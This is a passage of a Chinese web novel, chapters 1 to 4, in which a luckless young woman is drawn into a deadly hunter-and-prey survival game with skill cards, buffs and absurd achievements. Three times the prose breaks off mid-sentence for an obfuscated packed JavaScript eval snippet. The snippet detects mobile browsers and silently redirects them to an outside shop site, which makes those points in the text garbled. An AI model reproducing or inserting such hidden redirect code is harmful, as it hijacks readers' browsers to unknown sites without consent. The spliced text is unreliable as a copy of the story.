《在求生游戏刷成就》 1. 男鬼一、开门有惊喜 “今天开业大酬宾,中奖率高达99%!满一百个人就开,一等奖一个,二等奖八个,三等奖二十个,四等奖三十个,五等奖四十个!九十九人都能抽到我们丰厚的奖励,走过路过不要错过!” 街边一家新开的家电拉了开业横幅,店员拿着大喇叭喜气洋洋地喊。很快,吸引了一小波人驻足抽奖。 梅子喻正在长跑中,见这边热闹,停下来看了一会,听到抽奖宣传后,立刻凑上前排起了队。 虽说她抽奖从来不中,但这次一百个人能中九十九个,再抽不中她就说不过去了吧。 她手伸进箱子里摸了半天,精心挑选出一个幸运小球——八十八号。 梅子喻兴奋起来。真是个前所未有的好数字!她一向抽的都是什么13,444,250之类的不吉利数字,第一次抽到88。 很快,所有人都抽完了奖。工作人员站在台子上,激情洋溢地公布抽奖结果。 “除了八十八号,全员中奖!” 梅子喻:“……” 寻常的抽奖,大家都更关注自己的得奖情况。但这种一百中九十九的情况,人们开始纷纷议论是哪位这么倒霉,这都能抽不中。 梅子喻有些无语,但并不怎么意外,从人群中往外挤,准备继续跑步。 快要挤出人潮时,听得工作人员宣布:“一等奖,3号,奖品,微波炉!” 梅子喻不由得脚步一顿。 她最近换了个租房,每天下班吃冷食,特别需要一个微波炉。但她兜里的钱一超过一千块就会以各种原因流失掉,她还要交房租和生存,这种百元以上的小家电,一向与她无缘。 贫穷如她忍不住想:要是我抽中就好了。 梅子喻转头向领奖台望去,想看看是哪个幸运儿。 一位白衬衫高个帅哥缓步走上来。 他的容貌称得上人生赢家级别,刚一上台,下面就炸开了锅,议论纷纷。 白得发亮的皮肤光滑而曲线流畅,外形硬朗帅气,棱角锋利,气质冷峻,黄金比例,造型高级;做饭火力超强,频率多样,超长插线,结实耐用。 真是个美好的微波炉。 所有人的目光都聚集在帅哥的脸上,除了梅子喻。她的目光无法从工作人员手里的微波炉上离开。 她也好想免费拥有它。 “那么请我们中奖的帅哥说一下获奖感言。” 帅哥接过话筒,神情有些无奈:“我不需要微波炉,还是留给更需要的人吧。比如刚才没抽中奖的八十八号?” 梅子喻惊讶地瞪大双眼,长这么大,还从来没发生过这么幸运的事! “既然如此,那就把一等奖给到抽中八十八号的观众——八十八号还在吗?” “还在!还在!”梅子喻弹射起步,冲到领奖台上。虽然她激动到想立刻把微波炉抱回家,但还是客气地问了帅哥一句:“你真的要给我吗?” 帅哥点点头,说道:“每次一等奖都是微波炉,我家已经有十个了。” 梅子喻一点都不嫉妒。世界上有人倒霉如她每次都不中,自然也有人幸运如他次次都中。她感激地望着帅哥的双眼,诚挚地感谢道:“谢谢你,我真的很需要!” 帅哥略微一愣。 “恭喜我们八十八号美女!美女把奖品抱回家前,我们先来简单演示下功能……” 工作人员说着,插上电,开始讲解。 梅子喻的目光紧紧锁定她宝贝的微波炉,已经开始幻想自己吃热食的美好生活了—— 却听砰的一声,毫无征兆的,微波炉爆炸了。 幸好爆炸时大家都离得比较远,无人受伤。 工作人员惊魂未定,呼叫同事,抽奖观众掏出手机,拍照吃瓜,兴奋不已,唯有梅子喻呆呆地望着一桌残骸,捂住胸口。 她的心在滴血。 现场一片混乱,梅子喻已经不记得自己怎么恍惚地从台上下来回到家里了。只记得下台之前,帅哥拉住了她的胳膊,问道:“你这么需要么?我家有很多,要不送你一个?” 梅子喻略一迟疑,还是摇了摇头。 “谢谢你的好意,我还是自己攒钱买吧。” 她虽然穷,但也不是乞丐。 长跑回家,梅子喻洗着澡,忽然开始爆哭:“我在装什么啊!真的好想要啊!” 过去了一天一夜,她还是无法忘记帅哥以及他的十台微波炉。 十台啊!那可是十台!她怎么就一台也没有呢? 梅子喻清晨六点从噩梦中惊醒,打开各银行APP汇总自己的钱,不管怎么加也就九百块钱,除去马上要交的五百块房租,本月还有四百块用来吃饭。 她被自己穷的睡不着,爬起来看着桌面发呆,这台子,怎么看怎么觉得正适合放一个微波炉! 正失神时,手机铃声忽然响起。 根据梅子喻的生活经验,主动给她打电话的百分之九十九都是诈骗电话,剩下百分之一是推销。但就算诈骗,也不会在凌晨五点打过来吧?她十分疑惑。点开手机,屏幕上显示:未知号码。 梅子喻接通,电话那边传来电子女音—— “您被【哔——】玩家邀请参与“猎杀游戏”,游戏剩余时间三天。生存失败,您将真实死亡。” ……什么玩意,神经病。 梅子喻啪地挂了电话。 再看手机,上面不知何时多了一个“猎杀游戏”的软件,怎么都卸载不掉,大概是中了病毒。 毫无疑问,这是诈骗。 这么多年来,梅子喻遇到过无数次诈骗,各种花样都见过了,现在已经无所畏惧——她全身家当加起来都没几个钱,就算被骗光了,也没有多大损失,大不了就继续睡桥洞和公园长椅么,又不是没睡过。 梅子喻洗了把脸,啃了个冷硬的馒头当早饭。她实在是睡不着,又想出去长跑了。 跑步是她唯一玩得起的爱好,也是多次救她于水火之中的救命技能。 正做着热身运动,忽然听得门外由远及近咚咚的脚步声响,和一阵阵尽力压制但仍清晰可闻的剧烈呼吸声。 难道这栋楼还有其他和她一样大早上睡不着的跑友? 梅子喻心情明朗了些许。她在这个城市没什么熟人,十分孤独,如果能认识个和她一起跑步的朋友,日子或许会好过一些。 她饱含期待地走到门前,想象着未来跑友的模样。是男人?女人?年轻人?中年人?…… 梅子喻约莫着对方差不多跑到了她的门前,深呼吸,压下门把手,扯出个笑容,说道:“好巧,你也……” 噗呲—— 对面一具庞大的身影立在门口,胸口正中穿出锋利的尖刀,血液自伤口喷涌而出,溅了她满脸满身。他的身子仿若一具正在坍塌的雕像,僵直而缓慢地倒下。 是死人。 尸体一点点矮下去,背后人的脸也一点点露出来:兜帽遮挡住大半张惨白的假面,两颗洞下是一双冷血的幽蓝双眼。 “……” “……” 梅子喻与杀手面面相觑,无言地对视了两秒。 杀手:“你也在杀人?” 他声音冰冷,语气淡然,仿佛说出的是一句普通问候。 梅子喻双腿直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208937|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖,张大了嘴想要尖叫,又极力压回了嗓子里,胸腔内咚咚的巨响如鼓点一般,从心脏一路震到大脑。 这人体型瘦削,但个子比她高出整整一头,分分钟能把她一刀毙命。她最擅长的是跑,但出口被人堵住,跑都不知道往哪跑。 杀手提防地紧盯着她。冷冽的目光在她脸上扫视时,梅子喻觉得自己像被吐着信子的毒蛇盯上了。 “这里是我的领地,你这是挑衅我么……”杀手话未说完,眼神忽然一变:“不对,你是猎物!” 梅子喻全身汗毛直立,一股电流从上到下蹿过,在她脑内思考之前,身体已经做出了反应—— 她侧身提腿,绷紧肌肉、蓄满力量的小腿直冲杀手颈部而去,来势汹汹,速度惊人。但杀手反应比她还要快,两手迅速抬起架在胸前,刚好承接住这一猛烈的飞踢。 电光火石之间,梅子喻并不跟脚的劣质运动鞋跟着惯性飞了出去。 啪。 运动鞋结结实实地砸中杀手的脸,像是打了一记响亮的耳光,将他的脸扇得侧过去几度。 他怎么也没料想到,这一记普通的飞踢还能有这样的后手。 梅子喻反手摔门,杀手也回过神来,伸手便要扒门。 咚的一声,好巧不巧,他几根手指被狠狠夹在门缝里。 “嘶——” 若是寻常人,早已惨叫出声,但他只是倒吸一口冷气,抬起头,从门缝里盯过来。 那双摄人的蓝瞳染上了一丝怒意。 “你死定了。”他说。 梅子喻全身压在门上,但仍感到一股极为强劲的力量将门一寸一寸地慢慢推开。 对方只靠两只手指,就可以与她全身重量对抗。 梅子喻又冒了一层冷汗。以对方的力量,明明可以一脚踢开门,但现在却要用两只手指一点点推开。这是要让她发自内心地恐惧,再慢慢地将她玩弄致死。 想到这一点,压抑的恐惧喷涌而出,梅子喻吓得呜咽起来。 “不要杀我!” 对方听到她的哭声,竟似感受到一股快意一般,低低笑了几声,“由不得你……嘶!” 梅子喻趁他不备,对着门猛挤一下。 杀手的手指被压了又压,即使压住痛呼声,面具也遮住了表情,也仍能从他浑身猛烈一颤中感受到剧烈的疼痛。 咚!咚!咚! “对不起!很痛吧!但是不要!杀我!” 梅子喻边哭边锤门,每锤一次,那门就狠狠压一次手指。 “我要杀——嘶!杀了——呃!杀——嗷!” 短短几秒间,杀手的痛呼从隐忍的“嘶”变成了龇牙咧嘴的“嗷”,手指也肿了起来,无法弯曲。 被动地挨了几下,杀手眼露凶光,另一只手提到胸前,捏了几个手势,掌心亮起一片白光,一张白色卡片浮在手边。 滋啦滋啦—— 白光越闪越大,逐渐聚成一团近半人高的巨大电球,光芒刺眼,将门内外的两人都笼罩其中。 徒手搓电流?!现在的杀手都会用超能力吗? 梅子喻来不及细想,只知道这一拳砸过来,她连人带出租屋都会被电成灰。 继续躲在屋里,只会晚死几秒而已。倒不如在他打过来的瞬间开门,趁他措手不及惯性前扑时,闪出去,开跑! “杀了你!” 杀手终于喊出一句完整的猎杀宣言,分秒之间,梅子喻已然打定主意。她看着那电拳带着极大的气势朝门袭来,侧身蹲下,顺势打开了门—— 生死在此一搏。 【猎杀游戏,正式激活。】 2. 男鬼二、抽中猎物卡 【猎杀游戏,正式激活】 【现在是新手设置时间!】 电子女音响彻走廊的瞬间,时间停滞,两人动作定格。 杀手全力出击,本应正中门板,但因梅子喻突然开门,他这一拳挥了个空,身子向前倾斜,下一秒就会摔倒,电流无处释放,仍旧团在手中。 梅子喻则蹲下前翻,在门框与杀手右腿的间隙中挤着,从尸体大哥的身上滚了过去,大半个身子已经越过门外,眼眶溢出的泪水悬在半空。 两人朝着相反的方向奔去,但都挤在门框之中。 电子女音继续播报。 【梅子喻,88号玩家。代号随机为“梅好明天”。】 听到“玩家”这个词,再加上杀手使出的电流拳,梅子喻不得不接受这个没品的随机代号以及自己被莫名其妙卷入某个奇特猎杀游戏的事实。 伴随电子音的说明,一张演示数值的面板在面前升起。 【您抽到的角色卡为:猎物】 【玩法说明1:在剩余游戏时间内躲避所有猎人的追杀。】 【您自带的基础数值如下。】 等级:1 血量:100 攻击:15 防御:8 速度:25 耐力:40 【现在随机您的加成数值。】 【数值生成中……】 幸运:1 暴击:1 装备防御点:1 可分配属性点:1 本局剩余抽卡次数:1 开局无敌时间:1秒 【您的开局评价为:毫无疑问的弱鸡一只】 【初始技能卡牌抽取中……】 【变身卡-N级-劣质破坏石】 【说明:小石头,向前冲,破坏你前方的一切!】 【发动基础概率:1%】 【发动方法:大声喊出“小石头,变身!”。您喊的声音越大,发动概率越高。注意,默念无用哦。】 【已自动为您配置变身卡。您目前的变身栏:1格。升至10级解锁第二变身栏。】 一连串的1给梅子喻听懵了,说好的随机呢? 怎么全是最低值? 【新手期buff生效中……】 【您获得一次免费的状态诊断。】 【您的状态判定为:贴贴】 贴贴?她跟谁贴?跟杀手吗? 从门缝里挤出去的梅子喻仔细感受了下,自己的身子和杀手的腿确实挨在了一起。 好吧,倒也没说错。 【您的生存率判定为:0%】 【死法预演1:概率80%,您的反应过于迟钝,而和您处于“贴贴”状态的猎人全身带高压电,0秒后您被电死。】 【死法预演2:概率20%,您的反应十分迅速,在1秒的无敌时间内成功向前翻滚,5秒后在走廊奔跑时被猎人追上,您被电死。】 【您抽到的建议卡为:认命卡。】 【卡牌释义:哈哈,认命吧,你就是那个注定要死的倒霉蛋。】 “……” 不,她不认命! 梅子喻咬紧牙关,这辈子活了二十多年的点点滴滴涌上心头。 作为一个经历过在河里游泳脚抽筋差点淹死、被拐卖转过八手数次差点被杀、下雨天被雷连劈三次、差点被外星人抓进宇宙飞船、目睹过变态杀人凶手毁尸灭迹的超绝倒霉蛋,她觉得自己某种意义上来说其实也算超绝幸运。 毕竟她每次都在临死之前得到一线生机。 果然,下一秒,生机到了。 电子女音说道: 【梅好明天,请分配您的1点属性点。】 【可分配的属性为:攻击、防御、幸运、速度……】 速度!速度!! 全加到速度上! 梅子喻脑中念头刚过,女音紧跟着说: 【分配成功。】 梅子喻清楚,她的基础属性太低,可分配的也只有一点,加攻击、防御或者幸运都没用。 按照死法预演所说,她首先需要迅速反应,在1秒无敌时间内继续翻滚,离开杀手。 接下来,如果她向走廊那边跑,五秒后她会被杀手追到。 按照她往日在走廊里跑步的经验,用最快的速度从她家跑到走廊尽头的楼梯口,恰巧需要跑五秒。 也就是说,她刚跑到楼梯口,还没下楼就会被杀手追上。 杀手能在这么短的时间内抓到她,想必他的速度快得不是一星半点,从楼梯里逃跑这条路是行不通的。 但是,走廊的尽头还有另一条路—— 窗户。 刚刚的技能“劣质破坏石”,按照释义来说,就是向前冲的时候可以破坏前方的物品。 那么,只要她的速度再快上一点,跑到尽头的用时从五秒提升到四秒,她就可以用这一秒争取来的时间冲破玻璃,向下跳。 赌一个1%的概率,赌这张卡能发动成功。 梅子喻家在四楼,跳下去能否活命并不好说,但总还算是一条生路。 【……3、2、1——】 倒计时最后一秒,梅子喻屏住呼吸,朝前猛地用力—— 时间开始重新流动的瞬间,整个世界都跟随她剧烈的翻滚开始颠倒,直到她狠狠地撞到了走廊的另一边墙壁。 她感受到强大的电流擦着她的身子走过,全身汗毛直立,身子发热。那股炽热的、强势的电流伴随着杀手的摔到而向远处移动了一点,又是一声巨响,她余光瞥见杀手重重地摔到她的房间里。 跑!! 肾上腺素飙升时,时间似乎被慢放了,所有身体机能都被放到最大。梅子喻没有回头,但却清楚地感知到杀手每一分秒的动作:他爬了起来,没有一丝犹豫,带着他的巨大电球如箭一般朝她射来。 不对,不是杀手追了上来。 而是他电球的半径在迅速扩大,人还没走动一步,电流就先追了上来! 梅子喻忽然明白了他为什么要一遍遍地喊着“杀了你”,这大概和她的“变身”是一个性质,用喊出来的方式来召唤大招。 所以,最后一声响亮的宣言后,他本就恐怖的电球又以非人的速度继续扩大了! 而她,跑的也不像个人。 极速奔跑带来的极大风力将她的面部吹得扭曲,四肢以最大限度地挥舞着,活像一只转起来的轮子。不过此时当然顾不得什么形象,她看到那扇象征着希望的窗户离她越来越近、越来越近…… 清晨时分,走廊还很昏暗,只那一道窗亮着光。 “小石头——” 梅子喻撕心裂肺地喊着。 她身上的汗毛又立了起来,滋滋的电流声已然响在耳畔,头发像是打了发胶一样朝天直立。作为一个被雷劈过三次的人,这种感觉梅子喻很熟悉:她马上就要被电了。 “变——身——” 她甚至没时间下蹲,直接向玻璃跃去,电流即将击中她后背的前一瞬间,她感到自己的身体被一股莫名的力量压缩了,变成更为结实、密度更大、也更具分量的某种东西—— 她当真变成了一块黑漆漆的石头,砰的一声砸中了玻璃,向窗外滚去。 世界再次旋转起来。 【解锁成就:不做人】 【成就说明:第一次使用变身卡,不做人的感觉怎么样?】 【成就buff:获得无敌时间5秒。】 【解锁成就:暴力狂】 【成就说明:开局1分钟内暴力破坏游戏物品,暴力狂的称号非你莫属。】 【成就buff:解除一切攻击限制5秒。】 【解锁成就:起死回生】 【成就说明:在绝对会死亡的情况下,您却找到了一条出路呢。】 【成就buff:对下一个攻击目标的攻击力*10000】 她砸到一片柔软的东西上,落地后也恢复了人样。因为刚增加的五秒无敌时间,并没受伤。 却听一声气若游丝的呻吟在身下响起。 梅子喻低头看去,自己砸中的不是什么草坪灌木,而是个人! 再仔细一看,好巧不巧,正是昨天要送她微波炉的那位容貌俊美的帅哥。 昨天在现实里见过面,现在又在这游戏里碰到,大概对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208938|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是个新人,梅子喻担心极了,连忙爬下来,问道:“你没事吧?” 帅哥对自己虚弱的状态十分疑惑,说道:“这么点小伤……” 话音未落,便咽了气。 【猎物“梅好明天”杀死猎人“星”】 【死因:区区致命伤】 【恭喜您,升级为level10!】 【现在是猎杀结算时间!】 时间再次停滞。 【游戏玩法2:猎物无法杀死猎人,除非解除攻击限制】 【您的猎杀评价卡牌为:倒反天罡】 【卡牌释义:虽然是猎物,但您却成功杀死了一位猎人,令人敬佩!】 【猎杀奖励:请在死亡玩家身上的三件SSR装备中选择一件。】 【超级跑鞋、磨刀石、侦察眼镜】 她刚刚坐死了一位“猎人”? 梅子喻难以置信,心里一时间五味杂陈,心里默念:帅哥,你死的好惨。但既然你是猎人,想必也是要杀人的,我这也算是提前为民除害了,不要怪我啊。 她现在自身难保,来不及愧疚,心思全在装备选择上了。 装备没有说明,但既然是SSR,哪一样都不会差,从名字来看:超级跑鞋加速度,磨刀石加攻击,侦察眼镜,应该是用来侦查敌情的。 思来想去,她选了“超级跑鞋”。 坐死猎人只是解除攻击限制再加攻击力扩大10000倍后的偶发事件,以后要想活命,还是要靠跑路。 【装备卡-SSR-超级跑鞋】 【说明:要够炫,才配得上超级跑鞋的名号!】 【卡牌等级与您的等级一致,请尽快升级,提升卡牌能力。】 【已自动为您配置装备。您目前的装备栏:2格。升至20级解锁第三装备栏。】 配置过后,梅子喻脚上现出一双与她的脚完美适配的七色炫彩运动鞋。 【现在是升级奖励时间!】 【可分配属性点:9】 【您得到了九次抽卡机会。】 【说明:卡池十连保底一张SSR卡,建议一次性抽十张以上哦。】 【您的抽卡次数剩余:10。是否分配属性点及使用抽卡次数?】 她眼前一亮,原来升级可以抽卡。 梅子喻:速度+9,抽卡次数全部使用。 【您已解锁普通卡池:混合卡池。】 【您已解锁新手限定卡池:混合卡池,SSR卡概率up!】 【请选择卡池。】 当然要选新手卡池。 概率up,看来能拯救她的非酋体质。希望这次十连多来点有用的SSR卡,道具也好,技能也好…… 她真的很想活命。 【卡牌抽取中……】 【您的抽卡结果如下:】 技能卡-R:快跑。使用技能时,速度+10,冷却时间30分钟。 技能卡-N:手机使用。可在变身形态下使用手机,喊出“手机”即可使用。 属性卡-R:速度+3 属性卡-N:防御+1 属性卡-N:攻击+1 变身卡-SR:吸盘。变成一只吸盘,牢牢吸附在你心仪的地点。 娱乐卡-N:点我,给你讲一个冷笑话。 建议卡-N:一次普通的建议机会。通常都是没什么用的建议,试图带给您一丝欢乐。 提问卡-N:一次普通的提问机会。超出卡牌权限的问题无法解答。 前九张不是R卡就是N卡,抽出个SR级的变身卡不知道要在什么场合下用,莫名其妙的娱乐卡更是无从评价。对此梅子喻并不意外,她紧张地看着面前浮起的最后一张卡牌,全部希望都在这里:卡背金光闪闪,想必这就是保底的SSR卡没错了吧? 在她期待的目光下,卡牌缓缓翻动,露出卡面。 【道具卡-负SSR:微波炉】 【说明:热热,还能吃。】 【使用方法:念出对应咒语,即可使用。】 梅子喻:? 是的,她很想要一个微波炉。但,不是在现在,不是在这里! 3. 男鬼三、有男鬼 抽出微波炉后,梅子喻又解锁了两个成就。 【解锁成就:万里挑一】 【成就说明:您抽到了超低概率的负SSR卡,是万里挑一的幸运儿。】 【成就buff:万分之一的概率随机转移下一次受到的攻击】 【解锁成就:指哪打哪】 【成就说明:您想要,您得到。刚才您似乎得到了一件您很想要的东西呢,是不是很开心?】 【成就buff:下一次随机攻击可以指定目标】 “……” 并不开心。 再说,负SSR是什么东西?卡牌还分正负? 梅子喻实在摸不着头脑,还好抽出了个提问卡,可以问个问题。 梅子喻:使用提问卡。 【梅好明天,请提出您的疑问。】 梅子喻:这个微波炉的道具是做什么用的?别告诉我就是用来热饭的。 【此问题超出卡牌权限,无法为您解答。您还有两次重新提问的机会。】 梅子喻:使用微波炉的对应咒语是什么? 【此问题超出卡牌权限,无法为您解答。您还有一次重新提问的机会。】 这破提问卡到底有什么用! 梅子喻:……负SSR是什么意思? 【卡牌等级分为SSR、SR、R、N、负R,负SSR,从左到右,使用价值依次递减。负SSR的道具是指您几乎用不上的稀有道具哦。】 “……” 又用不上,又稀有?哪家游戏脑子抽风了会设置这样的道具? 可惜这里不是现实中的游戏,无处投诉,只能接受。 【时间凝固解除倒计时:5、4……】 没时间钻研微波炉的用法了。梅子喻长叹一口气,迎接自己只能继续狂奔逃跑的命运。 【……3、2、1——】 “杀了——你!!” 时间刚开始流动,就听到了那如鬼一般阴魂不散的声音。梅子喻回头望去,杀手站在四楼窗户边,一只手伸出窗外,托住一枚巨大的电流球。 这一声喊出后,电流又膨胀了一圈,边缘已经快要触地,草丛抖得簌簌作响。 “新人。”杀手傲然矗立,俯视着她,眼里满是杀意:“我要让你死无全……” 梅子喻没时间听他废话,毅然决然地扭头,抬腿,喊出技能。 “快跑!” 她刚迈出脚步,就如箭一般蹿了出去。 好快! 刚刚属性全点在了速度上,现在又有快跑技能叠加SSR超级跑鞋道具,她的速度快得惊人,脚底像是踩了发动机一般,一步跨出去能向前冲三四米。 她感受到自己正飞速逃离那团灼人的电流——杀手的电球固然膨胀得很快,但是快不过现在的她。 有那么一瞬间,梅子喻沉浸在这种快要起飞的轻盈感中,甚至忘了自己正在被追杀。 跑步,爽! 轰—— 电球在她身后三十米处炸开了,一股巨大的风流从后方冲来,像一只大手猛烈地托住梅子喻的腰背,将她更快地向前送了出去。 如果没有这双鞋,她定会被这风吹得踉跄摔倒,但她的速度与风不相上下,这下冲击只是让她更快地挪动了几次脚步而已。 待巨风消散,梅子喻驻足,回头看去。 这一看,吓了她一大跳。 那栋本就偷工减料、质量不好的老旧居民楼更加残破不堪,一半玻璃都被能量波震碎,满地破碎砖瓦、烟雾灰尘,周围花草拦腰斩断、几棵大树连根拔起,地上浓烟滚滚,如飓风刮过。 杀手这招确实很猛。 梅子喻可以想象,如果自己没有逃开,也只会在瞬间化作渣滓。 烟雾散去,杀手拎着把大刀,朝她走来。 梅子喻刚要继续逃,却听他喊了声:“喂。” 这……是要与她交谈的意思? 要跑么? 大概是新装备给了梅子喻自信,她略一迟疑,还是站在了原地。 杀手似乎怕她转瞬又跑开了,没再继续前进,停在了离她几十米的地方。 “新人,你为什么还活着?”他问。 梅子喻问:“你是在等CD么?” “……” 杀手沉默了下,冷笑一声,又道:“呵,我有一百种方法杀死你,根本用不着——” 话没说完,梅子喻转身便逃。 他分明就是在等大招CD!! 梅子喻从小被坑到大,现在想骗她,门都没有。 没跑出多远,身后又是一阵子铁链乱撞声。侧头看去,只见杀手蹬着一辆快要散架的破旧自行车叮叮咣咣地骑来了,那车看起来破,但速度也是惊人,再加上两脚蹬得起飞,居然堪堪追上了她。 显然,这也是一件加速度的道具。只是道具属性没有梅子喻的超级跑鞋好,全靠杀手自身属性撑着。 他骑得满身汗水,但仍摆出一副游刃有余的样子,见梅子喻面露惊讶,说道:“都说了。我有一百种方法……” 滴滴、滴滴滴—— 一阵车喇叭打断了他的狠话。 斜后方窜出来一辆通体雪白的拉风闪电大摩托,风一般地朝前猛进。高座上坐着一位白宽袍黑长发的男人,鼻梁高挺,眼眶凹陷,两眼瞪圆,并不眨眼,仿佛死不瞑目,浓重的黑眼圈堪比烟熏妆,惨白面色堪比死人。 男人单手握把,另一只手拎了条上吊绳,滴溜溜地转着圈,好像随时要扔出去套住谁的脖子。 “哈哈、哈哈哈——”他咧开嘴笑着,吐出长长的舌头来,挤出一阵尖利而刺耳的声音:“要不要我载你一程,猎物小姐?” 梅子喻被他这副打扮与做派吓了一跳,跑速都快了几分,心道:哪来的男鬼! 比她更先叫出声的是杀手,他本就有些气急败坏,看到男鬼出现后更是怒极,再也没了之前杀人时的冷静与淡然,大喊道:“这是我的猎物!” “再过一会,就是我的喽。” 男鬼稳稳地坐着,车把手略微拧动,轻松地超过了杀手,从右边逼近梅子喻。 “猎物小姐……” 那张死人脸忽地凑上来,贴到与梅子喻不过几厘米的距离,一双深渊般的黑眼球在极近的距离注视着她,纤长的睫毛几乎要戳进她的眼睛里,嘴巴大张,像是要一口将她吞进去—— “猎物小姐,快快向左转。” 梅子喻吓得急忙向左逃去,杀手与男鬼紧追不舍,三人都移动得飞快,路途颠簸,发出的单音被拖得老长,颠成一阵阵上下起伏的颤音,场面一度十分混乱。 不过一会,便跑出了一马平川的郊区,来到一片商业区。 这里是梅子喻上班的区域,距离她的家约有四五公里,中空的露天商场扶梯交错,两侧有几栋办公楼,街边排布着几家便利店、咖啡厅。这附近居民多,平日里十分热闹,不过在游戏里自然冷冷清清,没有半个人影。 不知为何,梅子喻总觉得有一丝怪异, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208939|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像这商场和往日的有一点区别,可一时半会,也想不出区别在哪里。 她的快跑技能已经耗尽,下次使用要等到半小时后。没了这十点速度加持,很快就会被杀手追上。男鬼则一直与她保持在同一速度,不知出于什么目的,并没有直接杀她,而是将她向商场里逼去。 她体力也下降不少,全身酸痛,气喘吁吁,这么一直跑下去也不是个办法,想着躲进商场里也不错:这里是她熟悉的区域,店铺繁多,地形复杂,或许可以绕一绕猎人。 梅子喻朝入口奔去,却听两个猎人同时喊话。 杀手:“停下——” 男鬼:“到喽。” 到哪? 梅子喻半只脚踏进露天商场边缘的发光白线,男鬼阴恻恻地说道:“到你的坟地喽。” 不对—— 梅子喻忽然意识到了区别是什么。 现实中的商场周围,并没有这条发光白线。 与此同时,电子女音播报道: 【玩法说明3:猎人只能在自己的领地里猎杀猎物。】 这么重要的规则现在才告诉她?! 显然,商场往左,白线以里都是男鬼的领地。梅子喻试图后退,但已经来不及了—— 男鬼抬手转起上吊绳,电光火石之间,绳子径直飞来,以超出梅子喻反应能力的速度直冲她脖子而去。 “索命——” 男鬼阴森而短促的诅咒下,梅子喻恍惚地想:要死了…… 么? 上吊绳套中她脖子的前一秒,时间,突然又停滞了。 【万里挑一&指哪打哪buff联合生效中:请选择攻击转移目标】 什么? 梅子喻愣了一下,立即反应过来。 不久前,她因为抽中微波炉而得到了两个buff。 万里挑一,让她能随机转移受到的攻击。指哪打哪,则可以选中随机攻击的具体目标。 也就是说,“万里挑一”万分之一的概率居然发动成功了。现在,她可以将男鬼的上吊绳攻击转移到一个人身上:杀手,或者男鬼。 三人都像雕像一样停在原地:杀手在后方不远处怒蹬自行车,男鬼在离梅子喻一手长的距离捏着上吊绳,绳子在空中拉出一条笔直的线,绳索的终端停在梅子喻面前一厘米处。 如此近的距离下,梅子喻清楚地看到绳子上布满又细又尖利的锯齿,她的几根头发刚好落在绳子上方,仅仅是贴上去,就被锯齿齐齐斩断。 只要轻轻一碰,就会皮开肉绽的杀人利器。 梅子喻后知后觉地出了一身冷汗,幸好,幸好……她得了这么个buff。 说起来,这游戏里的buff是不是太多了些? 她隐约觉得自己摸到了些这游戏的玩法。不过,现在不是思考这些的时候,当务之急,是将两人牵制住,自己再寻生路。 那么,要将这杀人利器用在谁的身上呢? 梅子喻选择了杀手。 【选择完毕,游戏继续】 时间开始流动的下一个瞬间,绳子倏地转了个弯,精准套住了杀手的脖子,收紧,回拉—— 砰!! 杀手被绳子猛地拖拽过去。情况突然,他手里还紧握车把不放,于是连人带自行车一起砸到了男鬼的身上。 【成就名称:借刀杀人】 【成就说明:用A的刀,夺B的命。】 【成就buff:B对您的下一次攻击将转移至A的身上。】 4. 男鬼四、卡bug 梅子喻第一次知道,人的颈动脉可以喷出那么多血。 那两人人仰马翻地砸到一起,手脚与车乱七八糟地纠缠着,一时间分不开。杀手的脖子像个花洒,前后左右漏了无数个洞,朝上的像喷泉,朝下的像瀑布,边滋边漏。 在梅子喻的视角,恰能看到最猛烈的那一股血喷到男鬼的脸上,好巧不巧,男鬼摔倒时正因惊诧而张开嘴,此时一滴不漏地全喝了下去。 恐怖之中,又有一丝诡异的好笑。 “……包扎……” 杀手艰难地喊出治愈卡,脖子旁出现一圈纱布,将伤口紧紧包裹起来。他浑身颤抖,显然状态极差,张嘴就是一大口血,全喷在面具里面,又是呛得好一阵咳嗽。 “喂……咳咳咳……新人……” 他抬起头来,面具后的蓝色眼睛目眦欲裂,刚要说些什么,男鬼一拳气势汹汹地朝着他的脸揍过去。撞击过后,两人都闷闷地哼了一声。 “什么鬼面具。”男鬼摸了摸自己的指背,显然被那坚硬的面具咯到了。 杀手被男鬼一拳打得扭过去头,血喷得更猛了。男鬼拉着上吊绳狠狠一扯,在杀手脖子上伤上加伤,疼得他惨叫一声。 “啊啊——” 他伸手便卡住男鬼的脖子,一道短促的电流在指尖闪现,男鬼鼻子里涌出两道血柱来,面色更加惨白,但哪怕被电得浑身僵直,两眼翻白,也仍旧抬起棍子般的手臂,像个诈尸的僵尸似的拳拳到肉地砸向杀手的脸。 两个猎人就这么互殴起来,猎物梅子喻则在最佳观赏区驻足观看。 要趁这个机会跑掉么? 